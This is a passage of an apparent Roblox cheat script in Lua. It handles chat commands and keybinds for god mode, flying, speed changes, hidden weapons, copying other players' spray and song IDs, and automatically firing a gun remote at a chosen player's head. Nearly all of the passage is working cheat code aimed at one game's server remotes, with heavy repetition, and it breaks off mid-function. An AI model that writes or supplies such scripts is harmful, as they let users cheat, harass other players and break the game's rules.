- if game.Players.LocalPlayer.Character:FindFirstChild("Shotty") then
- game.Players.LocalPlayer.Character.Shotty.Parent = game.Players.LocalPlayer.Backpack
- end
- end
- if lower == ":stealthuzi" then
- if game.Players.LocalPlayer.Backpack:FindFirstChild("Uzi") then
- game.Players.LocalPlayer.Backpack:FindFirstChild("Uzi").Parent = game.Players.LocalPlayer.Character
- end
- wait(0.1)
- invis(game.Players.LocalPlayer.Character.Uzi)
- game.Players.LocalPlayer.Character.Uzi.Grip = CFrame.new(-0.2,0,-3)
- game.Players.LocalPlayer.Character.Uzi.Equipped:Connect(function()
- wait()
- local AnimationTracks = game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()
- for i, track in pairs (AnimationTracks) do
- if track.Name == "Idle" or string.find(track.Name, "Animation") then
- track:Stop()
- end
- end
- wait(0.3)
- local AnimationTracks = game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()
- for i, track in pairs (AnimationTracks) do
- if track.Name == "Idle" or string.find(track.Name, "Animation") then
- track:Stop()
- end
- end
- end)
- game.Players.LocalPlayer.Character.Uzi.Activated:Connect(function()
- wait()
- local AnimationTracks = game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()
- for i, track in pairs (AnimationTracks) do
- if track.Name == "Fires" then
- track:Stop()
- end
- end
- end)
- wait(1.5)
- if game.Players.LocalPlayer.Character:FindFirstChild("Uzi") then
- game.Players.LocalPlayer.Character.Uzi.Parent = game.Players.LocalPlayer.Backpack
- end
- end
- if lower == "/e stealthuzi" then
- if game.Players.LocalPlayer.Backpack:FindFirstChild("Uzi") then
- game.Players.LocalPlayer.Backpack:FindFirstChild("Uzi").Parent = game.Players.LocalPlayer.Character
- end
- wait(0.1)
- invis(game.Players.LocalPlayer.Character.Uzi)
- game.Players.LocalPlayer.Character.Uzi.Grip = CFrame.new(-0.2,0,-3)
- game.Players.LocalPlayer.Character.Uzi.Equipped:Connect(function()
- wait()
- local AnimationTracks = game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()
- for i, track in pairs (AnimationTracks) do
- if track.Name == "Idle" or string.find(track.Name, "Animation") then
- track:Stop()
- end
- end
- wait(0.3)
- local AnimationTracks = game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()
- for i, track in pairs (AnimationTracks) do
- if track.Name == "Idle" or string.find(track.Name, "Animation") then
- track:Stop()
- end
- end
- end)
- game.Players.LocalPlayer.Character.Uzi.Activated:Connect(function()
- wait()
- local AnimationTracks = game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()
- for i, track in pairs (AnimationTracks) do
- if track.Name == "Fires" then
- track:Stop()
- end
- end
- end)
- wait(1.5)
- if game.Players.LocalPlayer.Character:FindFirstChild("Uzi") then
- game.Players.LocalPlayer.Character.Uzi.Parent = game.Players.LocalPlayer.Backpack
- end
- end
- if lower == "/e :stealthuzi" then
- if game.Players.LocalPlayer.Backpack:FindFirstChild("Uzi") then
- game.Players.LocalPlayer.Backpack:FindFirstChild("Uzi").Parent = game.Players.LocalPlayer.Character
- end
- wait(0.1)
- invis(game.Players.LocalPlayer.Character.Uzi)
- game.Players.LocalPlayer.Character.Uzi.Grip = CFrame.new(-0.2,0,-3)
- game.Players.LocalPlayer.Character.Uzi.Equipped:Connect(function()
- wait()
- local AnimationTracks = game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()
- for i, track in pairs (AnimationTracks) do
- if track.Name == "Idle" or string.find(track.Name, "Animation") then
- track:Stop()
- end
- end
- wait(0.3)
- local AnimationTracks = game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()
- for i, track in pairs (AnimationTracks) do
- if track.Name == "Idle" or string.find(track.Name, "Animation") then
- track:Stop()
- end
- end
- end)
- game.Players.LocalPlayer.Character.Uzi.Activated:Connect(function()
- wait()
- local AnimationTracks = game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()
- for i, track in pairs (AnimationTracks) do
- if track.Name == "Fires" then
- track:Stop()
- end
- end
- end)
- wait(1.5)
- if game.Players.LocalPlayer.Character:FindFirstChild("Uzi") then
- game.Players.LocalPlayer.Character.Uzi.Parent = game.Players.LocalPlayer.Backpack
- end
- end
- if string.find(lower,":spray ") then
- local playername = string.gsub(lower,":spray ","")
- local tarplayer = findplayer(playername)
- if tarplayer ~= false then
- if game.Workspace:FindFirstChild(tarplayer.Name.."Spray") then
- if game.Workspace:FindFirstChild(tarplayer.Name.."Spray"):FindFirstChildOfClass("Decal") then
- print(tostring(game.Workspace:FindFirstChild(tarplayer.Name.."Spray"):FindFirstChildOfClass("Decal").Texture))
- end
- end
- end
- end
- if string.find(lower,"/e spray ") then
- local playername = string.gsub(lower,"/e spray ","")
- local tarplayer = findplayer(playername)
- if tarplayer ~= false then
- if game.Workspace:FindFirstChild(tarplayer.Name.."Spray") then
- if game.Workspace:FindFirstChild(tarplayer.Name.."Spray"):FindFirstChildOfClass("Decal") then
- print(tostring(game.Workspace:FindFirstChild(tarplayer.Name.."Spray"):FindFirstChildOfClass("Decal").Texture))
- end
- end
- end
- end
- if string.find(lower,"/e :spray ") then
- local playername = string.gsub(lower,"/e :spray ","")
- local tarplayer = findplayer(playername)
- if tarplayer ~= false then
- if game.Workspace:FindFirstChild(tarplayer.Name.."Spray") then
- if game.Workspace:FindFirstChild(tarplayer.Name.."Spray"):FindFirstChildOfClass("Decal") then
- print(tostring(game.Workspace:FindFirstChild(tarplayer.Name.."Spray"):FindFirstChildOfClass("Decal").Texture))
- end
- end
- end
- end
- if string.find(lower,":stealspray ") then
- local playername = string.gsub(lower,":stealspray ","")
- local tarplayer = findplayer(playername)
- if tarplayer ~= false then
- if game.Workspace:FindFirstChild(tarplayer.Name.."Spray") then
- if game.Workspace:FindFirstChild(tarplayer.Name.."Spray"):FindFirstChildOfClass("Decal") then
- print(tostring(game.Workspace:FindFirstChild(tarplayer.Name.."Spray"):FindFirstChildOfClass("Decal").Texture))
- end
- end
- end
- end
- if string.find(lower,"/e stealspray ") then
- local playername = string.gsub(lower,"/e stealspray ","")
- local tarplayer = findplayer(playername)
- if tarplayer ~= false then
- if game.Workspace:FindFirstChild(tarplayer.Name.."Spray") then
- if game.Workspace:FindFirstChild(tarplayer.Name.."Spray"):FindFirstChildOfClass("Decal") then
- print(tostring(game.Workspace:FindFirstChild(tarplayer.Name.."Spray"):FindFirstChildOfClass("Decal").Texture))
- end
- end
- end
- end
- if string.find(lower,"/e :stealspray ") then
- local playername = string.gsub(lower,"/e :stealspray ","")
- local tarplayer = findplayer(playername)
- if tarplayer ~= false then
- if game.Workspace:FindFirstChild(tarplayer.Name.."Spray") then
- if game.Workspace:FindFirstChild(tarplayer.Name.."Spray"):FindFirstChildOfClass("Decal") then
- print(tostring(game.Workspace:FindFirstChild(tarplayer.Name.."Spray"):FindFirstChildOfClass("Decal").Texture))
- end
- end
- end
- end
- if string.find(lower,":song ") then
- local playername = string.gsub(lower,":song ","")
- local tarplayer = findplayer(playername)
- if tarplayer ~= false then
- if tarplayer.Character ~= nil then
- if tarplayer.Character:FindFirstChild("Torso") then
- if tarplayer.Character.Torso:FindFirstChildOfClass("Sound") then
- print(tarplayer.Name.." : "..tostring(tarplayer.Character.Torso:FindFirstChildOfClass("Sound").SoundId))
- end
- end
- end
- end
- end
- if string.find(lower,"/e song ") then
- local playername = string.gsub(lower,"/e song ","")
- local tarplayer = findplayer(playername)
- if tarplayer ~= false then
- if tarplayer.Character ~= nil then
- if tarplayer.Character:FindFirstChild("Torso") then
- if tarplayer.Character.Torso:FindFirstChildOfClass("Sound") then
- print(tarplayer.Name.." : "..tostring(tarplayer.Character.Torso:FindFirstChildOfClass("Sound").SoundId))
- end
- end
- end
- end
- end
- if string.find(lower,"/e :song ") then
- local playername = string.gsub(lower,"/e :song ","")
- local tarplayer = findplayer(playername)
- if tarplayer ~= false then
- if tarplayer.Character ~= nil then
- if tarplayer.Character:FindFirstChild("Torso") then
- if tarplayer.Character.Torso:FindFirstChildOfClass("Sound") then
- print(tarplayer.Name.." : "..tostring(tarplayer.Character.Torso:FindFirstChildOfClass("Sound").SoundId))
- end
- end
- end
- end
- end
- if string.find(lower,":stealsong ") then
- local playername = string.gsub(lower,":stealsong ","")
- local tarplayer = findplayer(playername)
- if tarplayer ~= false then
- if tarplayer.Character ~= nil then
- if tarplayer.Character:FindFirstChild("Torso") then
- if tarplayer.Character.Torso:FindFirstChildOfClass("Sound") then
- print(tarplayer.Name.." : "..tostring(tarplayer.Character.Torso:FindFirstChildOfClass("Sound").SoundId))
- end
- end
- end
- end
- end
- if string.find(lower,"/e stealsong ") then
- local playername = string.gsub(lower,"/e stealsong ","")
- local tarplayer = findplayer(playername)
- if tarplayer ~= false then
- if tarplayer.Character ~= nil then
- if tarplayer.Character:FindFirstChild("Torso") then
- if tarplayer.Character.Torso:FindFirstChildOfClass("Sound") then
- print(tarplayer.Name.." : "..tostring(tarplayer.Character.Torso:FindFirstChildOfClass("Sound").SoundId))
- end
- end
- end
- end
- end
- if string.find(lower,"/e :stealsong ") then
- local playername = string.gsub(lower,"/e :stealsong ","")
- local tarplayer = findplayer(playername)
- if tarplayer ~= false then
- if tarplayer.Character ~= nil then
- if tarplayer.Character:FindFirstChild("Torso") then
- if tarplayer.Character.Torso:FindFirstChildOfClass("Sound") then
- print(tarplayer.Name.." : "..tostring(tarplayer.Character.Torso:FindFirstChildOfClass("Sound").SoundId))
- end
- end
- end
- end
- end
- if lower == ":stopanims" then
- local AnimationTracks = game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()
- for i, track in pairs (AnimationTracks) do
- track:Stop()
- end
- end
- if lower == "/e stopanims" then
- local AnimationTracks = game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()
- for i, track in pairs (AnimationTracks) do
- track:Stop()
- end
- end
- if lower == "/e :stopanims" then
- local AnimationTracks = game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()
- for i, track in pairs (AnimationTracks) do
- track:Stop()
- end
- end
- if lower == ":god" then
- godmode = true
- if game.Players.LocalPlayer.Character ~= nil then
- game.Players.LocalPlayer.Character:BreakJoints()
- end
- end
- if lower == "/e god" then
- godmode = true
- if game.Players.LocalPlayer.Character ~= nil then
- game.Players.LocalPlayer.Character:BreakJoints()
- end
- end
- if lowerf == "/e :god" then
- godmode = true
- if game.Players.LocalPlayer.Character ~= nil then
- game.Players.LocalPlayer.Character:BreakJoints()
- end
- end
- if lower == ":ungod" then
- godmode = false
- if game.Players.LocalPlayer.Character ~= nil then
- game.Players.LocalPlayer.Character:BreakJoints()
- end
- end
- if lower == "/e ungod" then
- godmode = false
- if game.Players.LocalPlayer.Character ~= nil then
- game.Players.LocalPlayer.Character:BreakJoints()
- end
- end
- if lower == "/e :ungod" then
- godmode = false
- if game.Players.LocalPlayer.Character ~= nil then
- game.Players.LocalPlayer.Character:BreakJoints()
- end
- end
- if lower == ":donate" then
- CreateDonationGUI()
- end
- if lower == "/e donate" then
- CreateDonationGUI()
- end
- if lower == "/e :donate" then
- CreateDonationGUI()
- end
- if lower == ":disc" then
- discordlink()
- end
- if lower == "/e disc" then
- discordlink()
- end
- if lower == "/e :disc" then
- discordlink()
- end
- if lower == ":discord" then
- discordlink()
- end
- if lower == "/e discord" then
- discordlink()
- end
- if lower == "/e :discord" then
- discordlink()
- end
- if string.find(lower,":visualize ") then
- local toolname = string.gsub(lower,":visualize ","")
- visualizetool = toolname
- visualize = true
- end
- if string.find(lower,"/e visualize ") then
- local toolname = string.gsub(lower,"/e visualize ","")
- visualizetool = toolname
- visualize = true
- end
- if string.find(lower,"/e :visualize ") then
- local toolname = string.gsub(lower,"/e :visualize ","")
- visualizetool = toolname
- visualize = true
- end
- if string.find(lower,":unvisualize") then
- visualize = false
- end
- if string.find(lower,"/e unvisualize") then
- visualize = false
- end
- if string.find(lower,"/e :unvisualize") then
- visualize = false
- end
- if string.find(lower,":clickspam") then
- clickspam = true
- end
- if string.find(lower,"/e clickspam") then
- clickspam = true
- end
- if string.find(lower,"/e :clickspam") then
- clickspam = true
- end
- if string.find(lower,":unclickspam") then
- clickspam = false
- end
- if string.find(lower,"/e unclickspam") then
- clickspam = false
- end
- if string.find(lower,"/e :unclickspam") then
- clickspam = false
- end
- if lower == ":stopmusic" then
- if debunce == false then
- debunce = true
- clickspam = true
- wait(1)
- clickspam = false
- debunce = false
- end
- end
- if lower == "/e stopmusic" then
- if debunce == false then
- debunce = true
- clickspam = true
- wait(1)
- clickspam = false
- debunce = false
- end
- end
- if lower == "/e :stopmusic" then
- if debunce == false then
- debunce = true
- clickspam = true
- wait(1)
- clickspam = false
- debunce = false
- end
- end
- if lower == ":fixmusic" then
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
- local returnto = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(0,math.huge,0)
- wait()
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = returnto
- end
- end
- end
- if lower == "/e fixmusic" then
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
- local returnto = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(0,math.huge,0)
- wait()
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = returnto
- end
- end
- end
- if lower == "/e :fixmusic" then
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
- local returnto = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(0,math.huge,0)
- wait()
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = returnto
- end
- end
- end
- if lower == ":fix" then
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
- local returnto = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(0,math.huge,0)
- wait()
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = returnto
- end
- end
- end
- if lower == "/e fix" then
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
- local returnto = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(0,math.huge,0)
- wait()
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = returnto
- end
- end
- end
- if lower == "/e :fix" then
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
- local returnto = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(0,math.huge,0)
- wait()
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = returnto
- end
- end
- end
- if lower == ":reset" then
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("Torso") then
- if game.Players.LocalPlayer.Character.Torso:FindFirstChildOfClass("Glue") then
- game.Players.LocalPlayer.Character.Torso.Neck:Destroy()
- else
- game.Players.LocalPlayer.Character:ClearAllChildren()
- local char = Instance.new("Model", workspace)
- Instance.new("Humanoid", char)
- game.Players.LocalPlayer.Character = char
- end
- end
- end
- end
- if lower == "/e reset" then
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("Torso") then
- if game.Players.LocalPlayer.Character.Torso:FindFirstChildOfClass("Glue") then
- game.Players.LocalPlayer.Character.Torso.Neck:Destroy()
- else
- game.Players.LocalPlayer.Character:ClearAllChildren()
- local char = Instance.new("Model", workspace)
- Instance.new("Humanoid", char)
- game.Players.LocalPlayer.Character = char
- end
- end
- end
- end
- if lower == "/e :reset" then
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("Torso") then
- if game.Players.LocalPlayer.Character.Torso:FindFirstChildOfClass("Glue") then
- game.Players.LocalPlayer.Character.Torso.Neck:Destroy()
- else
- game.Players.LocalPlayer.Character:ClearAllChildren()
- local char = Instance.new("Model", workspace)
- Instance.new("Humanoid", char)
- game.Players.LocalPlayer.Character = char
- end
- end
- end
- end
- if lower == ":rejoin" then
- TeleportService:Teleport(455366377, game.Players.LocalPlayer)
- end
- if lower == "/e rejoin" then
- TeleportService:Teleport(455366377, game.Players.LocalPlayer)
- end
- if lower == "/e :rejoin" then
- TeleportService:Teleport(455366377, game.Players.LocalPlayer)
- end
- if lower == ":void" then
- local hat = game.Players.LocalPlayer.Character:FindFirstChildWhichIsA("Accessory")
- if voidtoggle == false and voidprocessing == false then
- voidprocessing = true
- local handle = hat:FindFirstChild("Handle")
- local Tool = Instance.new("Tool", game.Players.LocalPlayer.Backpack)
- game.Players.LocalPlayer.Character.Torso.Anchored = true
- handle.Parent = Tool
- handle.Massless = true
- Tool.GripPos = Vector3.new(0,tonumber(9e99),0)
- Tool.Parent = game.Players.LocalPlayer.Character
- repeat wait() until game.Players.LocalPlayer.Character:FindFirstChild("Tool")~=nil
- Tool.Grip = CFrame.new(Vector3.new(0,0,0))
- game.Players.LocalPlayer.Character.Torso.Anchored = false
- Tool.Unequipped:Connect(function()
- wait()
- local Handle = Tool:FindFirstChild("Handle")
- if Handle then
- Handle.Parent = hat
- game.Players.LocalPlayer.Character.Humanoid:UnequipTools()
- Handle.Massless = false
- Tool:Destroy()
- end
- voidtoggle = false
- end)
- voidtoggle = true
- voidprocessing = false
- end
- end
- if lower == "/e void" then
- local hat = game.Players.LocalPlayer.Character:FindFirstChildWhichIsA("Accessory")
- if voidtoggle == false and voidprocessing == false then
- voidprocessing = true
- local handle = hat:FindFirstChild("Handle")
- local Tool = Instance.new("Tool", game.Players.LocalPlayer.Backpack)
- game.Players.LocalPlayer.Character.Torso.Anchored = true
- handle.Parent = Tool
- handle.Massless = true
- Tool.GripPos = Vector3.new(0,tonumber(9e99),0)
- Tool.Parent = game.Players.LocalPlayer.Character
- repeat wait() until game.Players.LocalPlayer.Character:FindFirstChild("Tool")~=nil
- Tool.Grip = CFrame.new(Vector3.new(0,0,0))
- game.Players.LocalPlayer.Character.Torso.Anchored = false
- Tool.Unequipped:Connect(function()
- wait()
- local Handle = Tool:FindFirstChild("Handle")
- if Handle then
- Handle.Parent = hat
- game.Players.LocalPlayer.Character.Humanoid:UnequipTools()
- Handle.Massless = false
- Tool:Destroy()
- end
- voidtoggle = false
- end)
- voidtoggle = true
- voidprocessing = false
- end
- end
- if lower == "/e :void" then
- local hat = game.Players.LocalPlayer.Character:FindFirstChildWhichIsA("Accessory")
- if voidtoggle == false and voidprocessing == false then
- voidprocessing = true
- local handle = hat:FindFirstChild("Handle")
- local Tool = Instance.new("Tool", game.Players.LocalPlayer.Backpack)
- game.Players.LocalPlayer.Character.Torso.Anchored = true
- handle.Parent = Tool
- handle.Massless = true
- Tool.GripPos = Vector3.new(0,tonumber(9e99),0)
- Tool.Parent = game.Players.LocalPlayer.Character
- repeat wait() until game.Players.LocalPlayer.Character:FindFirstChild("Tool")~=nil
- Tool.Grip = CFrame.new(Vector3.new(0,0,0))
- game.Players.LocalPlayer.Character.Torso.Anchored = false
- Tool.Unequipped:Connect(function()
- wait()
- local Handle = Tool:FindFirstChild("Handle")
- if Handle then
- Handle.Parent = hat
- game.Players.LocalPlayer.Character.Humanoid:UnequipTools()
- Handle.Massless = false
- Tool:Destroy()
- end
- voidtoggle = false
- end)
- voidtoggle = true
- voidprocessing = false
- end
- end
- if lower == ":breakneck" then
- local Anim = Instance.new("Animation")
- Anim.AnimationId = "rbxassetid://35154961"
- local neckbreak = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
- neckbreak:Play(0)
- neckbreak:AdjustSpeed(1)
- wait(1.3)
- game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer('*crack*',"All")
- wait(0.6)
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("Torso") then
- if game.Players.LocalPlayer.Character.Torso:FindFirstChild("Neck") then
- game.Players.LocalPlayer.Character.Torso:FindFirstChild("Neck"):Destroy()
- end
- end
- end
- end
- if lower == "/e breakneck" then
- local Anim = Instance.new("Animation")
- Anim.AnimationId = "rbxassetid://35154961"
- local neckbreak = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
- neckbreak:Play(0)
- neckbreak:AdjustSpeed(1)
- wait(1.3)
- game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer('*crack*',"All")
- wait(0.6)
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("Torso") then
- if game.Players.LocalPlayer.Character.Torso:FindFirstChild("Neck") then
- game.Players.LocalPlayer.Character.Torso:FindFirstChild("Neck"):Destroy()
- end
- end
- end
- end
- if lower == "/e :breakneck" then
- local Anim = Instance.new("Animation")
- Anim.AnimationId = "rbxassetid://35154961"
- local neckbreak = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
- neckbreak:Play(0)
- neckbreak:AdjustSpeed(1)
- wait(1.3)
- game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer('*crack*',"All")
- wait(0.6)
- if game.Players.LocalPlayer.Character ~= nil then
- if game.Players.LocalPlayer.Character:FindFirstChild("Torso") then
- if game.Players.LocalPlayer.Character.Torso:FindFirstChild("Neck") then
- game.Players.LocalPlayer.Character.Torso:FindFirstChild("Neck"):Destroy()
- end
- end
- end
- end
- if lower == ":autoreset" then
- autoreset = true
- end
- if lower == "/e autoreset" then
- autoreset = true
- end
- if lower == "/e :autoreset" then
- autoreset = true
- end
- if lower == ":unautoreset" then
- autoreset = false
- end
- if lower == "/e unautoreset" then
- autoreset = false
- end
- if lower == "/e :unautoreset" then
- autoreset = false
- end
- if lower == ":autokill" then
- autoreset = true
- end
- if lower == "/e autokill" then
- autoreset = true
- end
- if lower == "/e :autokill" then
- autoreset = true
- end
- if lower == ":unautokill" then
- autoreset = false
- end
- if lower == "/e unautokill" then
- autoreset = false
- end
- if lower == "/e :unautokill" then
- autoreset = false
- end
- end
- local debounce = false
- function fireat(target)
- if debounce == false then
- debounce = true
- for i = 1,3 do
- if game.Players.LocalPlayer.Character:FindFirstChildWhichIsA("Tool") then
- if game.Players.LocalPlayer.Character:FindFirstChildWhichIsA("Tool"):FindFirstChild("Fire") then
- u = game.Players.LocalPlayer.Character:FindFirstChildWhichIsA("Tool").Fire
- if target.Character ~= nil then
- if not IsInTable(dontshoot, target.Name) then
- u:FireServer(targetee.Character.Head.CFrame)
- end
- end
- end
- end
- wait(0.1)
- end
- debounce = false
- end
- end
- Target.FocusLost:Connect(function()
- local name = string.lower(Target.Text)
- local player = nil
- names = game.Players:GetChildren()
- for i,x in pairs(names) do
- strlower = string.lower(x.Name)
- sub = string.sub(strlower,1,#name)
- if name == sub then
- player = x
- if player.Name ~= game.Players.LocalPlayer.Name and x.Name ~= "Vortexturize" then
- targetee = player
- end
- end
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "q" then
- if game.Players.LocalPlayer.Character:FindFirstChild("Uzi") or game.Players.LocalPlayer.Backpack:FindFirstChild("Uzi") then
- bigfire = true
- end
- end
- end)
- mouse.KeyUp:Connect(function(key)
- if key == "q" then
- bigfire = false
- end
- end)
- mouse = game.Players.LocalPlayer:GetMouse()
- mouse.KeyDown:Connect(function(key)
- if string.byte(key) == 92 then
- if game.Players.LocalPlayer.Character:FindFirstChildWhichIsA("Tool") then
- game.Players.LocalPlayer.Character:FindFirstChildWhichIsA("Tool").Parent = game.Workspace.Terrain
- end
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "g" then
- game.Players:Chat("/e kick")
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "w" then
- flyw = true
- end
- end)
- mouse.KeyUp:Connect(function(key)
- if key == "w" then
- flyw = false
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "s" then
- flys = true
- end
- end)
- mouse.KeyUp:Connect(function(key)
- if key == "s" then
- flys = false
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "d" then
- flyd = true
- end
- end)
- mouse.KeyUp:Connect(function(key)
- if key == "d" then
- flyd = false
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "a" then
- flya = true
- end
- end)
- mouse.KeyUp:Connect(function(key)
- if key == "a" then
- flya = false
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == " " then
- flysp = true
- end
- end)
- mouse.KeyUp:Connect(function(key)
- if key == " " then
- flysp = false
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "0" then -- love mouse.keydown, and how left shift is also 0
- flyct = true
- end
- end)
- mouse.KeyUp:Connect(function(key)
- if key == "0" then
- flyct = false
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "t" then
- if targetee ~= nil then
- if targetee.Character ~= nil then
- fireat(targetee)
- end
- end
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "x" then
- Selecting = true
- end
- end)
- mouse.KeyUp:Connect(function(key)
- if key == "x" then
- Selecting = false
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "[" then
- jumpspeed = jumpspeed - 0.1
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "]" then
- jumpspeed = jumpspeed + 0.1
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "l" then
- if jumpgcheck == false then
- jumpgcheck = true
- elseif jumpgcheck == true then
- jumpgcheck = false
- end
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == " " and jumpgcheck == true then
- SpaceHeld = true
- end
- end)
- mouse.KeyUp:Connect(function(key)
- if key == " " then
- SpaceHeld = false
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "-" then
- runspeed = runspeed - 0.1
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "=" then
- runspeed = runspeed + 0.1
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "k" then
- if gcheckrun == false then
- gcheckrun = true
- elseif gcheckrun == true then
- gcheckrun = false
- end
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "0" and gcheckrun == true then
- ShiftHeld = true
- end
- end)
- mouse.KeyUp:Connect(function(key)
- if key == "0" then
- ShiftHeld = false
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "w" then
- WHeld = true
- end
- end)
- mouse.KeyUp:Connect(function(key)
- if key == "w" then
- WHeld = false
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "s" then
- SHeld = true
- end
- end)
- mouse.KeyUp:Connect(function(key)
- if key == "s" then
- SHeld = false
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "a" then
- AHeld = true
- end
- end)
- mouse.KeyUp:Connect(function(key)
- if key == "a" then
- AHeld = false
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "d" then
- DHeld = true
- end
- end)
- mouse.KeyUp:Connect(function(key)
- if key == "d" then
- DHeld = false
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "p" then
- if game.Players.LocalPlayer.Character.Torso:FindFirstChild("Neck") then
- game.Players.LocalPlayer.Character.Torso:FindFirstChild("Neck"):Destroy()
- end
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "n" then
- stationaryrespawn = not stationaryrespawn
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "b" then
- for _,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
- if (v:IsA("Tool")and v.Name ~= "Uzi") then
- v.Parent = game.Players.LocalPlayer.Backpack
- end
- end
- for _,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
- if (v:IsA("Tool")and v.Name == "Uzi") then
- v.Parent = game.Players.LocalPlayer.Character
- end
- end
- game.Players.LocalPlayer.Character:WaitForChild("Uzi")
- for _,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
- if (v:IsA("Tool")and v.Name == "Uzi") then
- if forward == false then
- v.Grip = CFrame.new(0,-12,60)
- uncancollide(v)
- forward = true
- elseif forward == true then
- v.Grip = CFrame.new(0,0,0)
- forward = false
- end
- end
- end
- end
- end)
- Mouse.KeyDown:Connect(function(key)
- if key == "h" then
- if not toggler then
- toggler = true
- startflying()
- elseif toggler then
- toggler = false
- NOFLY()
- if game.Players.LocalPlayer.Character then
- if game.Players.LocalPlayer.Character:FindFirstChild("Float") then
- game.Players.LocalPlayer.Character:FindFirstChild("Float"):Destroy()
- end
- end
- local AnimationTracks = game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()
- for i, track in pairs (AnimationTracks) do
- track:Stop()
- end
- end
- end
- end)
- mouse.KeyDown:Connect(function(key)
- if key == "m" then
- local notools = true
- for _,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
- if v:IsA("Tool") and v.Name == "Shotty" or v.Name == "Glock" then
- table.insert(suicidetools, v)
- notools = false
- end
- end
- for _,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
- if v:IsA("Tool") and v.Name == "Shotty" or v.Name == "Glock" then
- table.insert(suicidetools, v)
- notools = false
- end
- end
- wait()
- if not notools then
- local pickedtool = suicidetools[math.random(1,#suicidetools)]
